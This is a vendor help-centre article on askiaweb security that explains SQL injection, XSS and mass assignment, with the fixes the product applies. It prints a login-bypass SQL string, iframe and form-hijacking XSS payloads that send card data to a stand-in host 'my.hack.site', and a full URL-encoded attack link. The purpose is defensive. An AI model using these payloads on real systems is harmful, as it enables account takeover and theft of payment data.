Scroll

Security in askiaweb

Follow
Summary This article describes security measure in askiaweb.
Applies to askiaweb
Written for Fieldwork manager
Keywords security


Summaries:

- SQL Injection & XSS

Vulnerability tests done in 2010 october with the MaxPatrol software
This first test was report some vulnerabilities which has been fixed
A second test was done in 2010 december and didn't report any vulnerability
Remove dangerous escape characters such as ' < > and their encoded representation


- Mass assignment

White list the parameters send between the client and the server side


- Data storage

Interviews are stores in binary format into SQL Server databases.


- HTTPS

We are compliant with the HTTP SSL protocol, however customers are responsible to apply the appropriate SSL certificate in IIS.


It’s important to understand the different type of attacks:

SQL Injection

The SQL Injection is an attack to inject SQL clause statement using input of the form. Many times it’s used in login page.

How it works?

We all the time use the clause 'WHERE' in SQL queries to filter the data result.
The clause 'WHERE' is complex and could have the following pattern:

WHERE LValue1 = RValue1 AND LValue2 = RValue2 OR LValue3

You could have many comparison statement LValue = RValue, LValue <> RValue ...
You could have a statement without comparison like (1, true, 0, false) ...
You could have many logical statements AND/OR ...
The RValue in the comparison statement should be surround by a special characters according to the type of the value.

The SQL Injection is most of the time done in the String value which is surround by single quotes:

LValue = 'String value'

If the string contains a quote it should be escape by another quote ‘ ‘ (the space between the quote is to clarify it’s not a double quote but two single quotes)

A SQL request is dynamic and the value is most of the time coming from the user input for example:
If the input login is `my login` the SQL query will be:

SELECT * FROM Users WHERE Login='my login' LIMIT 1

Now if a malicious user enter the following login ‘ or ‘1’ = ‘1 The SQL query will look like that:

SELECT * FROM Users WHERE Login=‘’ or ‘1’ = ‘1’ LIMIT 1

In that case the SQL query will return the first user in the database (usually the super administrator) and the user is authenticate with full right.

How to fix?

The fix of to protect against the SQL Injection is trivial all strings should be escaped before is usage (replace all single quotes in the string by two single quotes):

SELECT * FROM Users WHERE Login=‘’’ or ‘’1’’ = ‘’1’ LIMIT 1

In that cases no user will be returned by the SQL query (except if the login is ‘ or ‘1’ = ‘1)

XSS (Cross-Site-Scripting)

XSS stand for Cross-Site-Scripting, this attack is intended to inject HTML or Javascript code inside a page.

How it works?

When a page is dynamic and some content of the page is coming from a data in the database or URL parameters or whatever else, a malicious user could inject HTML or Javascript on the data and the browser will interpret the code.

Here a little demonstration using the Askia context (this demonstration will not works in real world because Askia is protected against):

The value of questions 'name' and 'email' are imported by a parameter in URL.
In one page I refer to the question name using the ??name??
In another page I ask the user to validate his email address.

So the url expected is

http://my.server.com/webprod/AskiaExt.dll?(...)&name=My_name&email=My_email

I'm the hacker.

I receive this kind of URL, after some tests, I realized that the system is not secure.
So I imagine 2 XSS scenarios:

1/ Instead of 'name', I will add an iframe to my website to obtain some information using this peace of code: <iframe src="http://my.hack.site/"></iframe>(I can also hide this Iframe and execute javascript through it)

2/ Just after the email address, I will ask the credit card of people using this peace of code: </textarea></form>lt;form action="http://my.hack.site">Don't worry it's secure!! Please indicates your credit card<textarea name="cb">

Explanations:

  • The system will create a tag <textarea>EMAIL</textarea> and because the EMAIL is not escaping
  • I'm closing the textarea by </textarea>
  • I'm closing the askia form by </form>
  • Creating a new form with a newest question (Give me your credit card)
  • The tags </textarea> and </form> will be automatically added by the regular Askia form
  • The submit buttons 'Previous', 'Pause' and 'Next' are now inside my new form so it will send your credit card to my hack site


And now I will URLEncode the parameters, copy the template of email and invite people to answer the survey using the following url (indeed I’m placing it into a “Click here” link (<a href="">Click here</a>) to mask the long url).

http://localhost/WebProd/cgi-bin/askiaext.dll?Action=StartSurvey&SurveyName=Hackskia&name=%3ciframe+src%3d%22http%3a%2f%2fwww.google.com%22+width%3d%22500%22+height%3d%22500%22%3e%3c%2fiframe%3e&email=%3c%2ftextarea%3e%3c%2fform%3e%3cbr%2f%3e%3cscript%3ealert(%22xss%22)%3b%3c%2fscript%3e%3cform+action%3d%22http%3a%2f%2fmy.hack.site%22%3eDon't+worry+it's+secure!!+Please+indicates+your+credit+card%3ctextarea+name%3d%22cb%22%3e

How to fix it?

A standard fix is to always do an HTML escape of the data before to use it.
Moreover some characters on input values will be removed or re-encode to avoid this kind of attack (see the next sections)

White list instead of black list:

This is recommended by all security experts.

Using a black list, you will probably try to remove the words <script> and </script> but hackers are really ingenious: <scr<script>pt>....</scr</script>ipt> will produce <script>….</script>

Mass assignment

The mass assignment is to add extra inputs in the original form to set an arbitrary value.

How that works?

Let’s imagine a user have an access to a form to update his profile and inputs has the following pattern:
<input type=“text” name=“user[name]” value=“…” />
<input type=“text” name=“user[login]” value=“…” />
etc…
The server side will iterate through the user hash parameter to update the user, in pseudo code:

For each attribute in request[“user”]
      CurrentUser[attribute] = request[“user”][attribute]
Next
CurrentUser.Save()

In that case, a malicious user could add an extra input in the form (by using a developer tools in browser) like that:

<input type=“text” name=“user[admin]” value=“1” />

If the “admin” field exist in the database the user has promote himself as an administrator.

How to fix it?

We are using a whitelist of parameter to read for a given interview and for a given page.
Each page is identified and the parameter send to the server-side will only affect data on this page unless if the data of the page trigger a routing like a set value.

Have more questions? Submit a request

Comments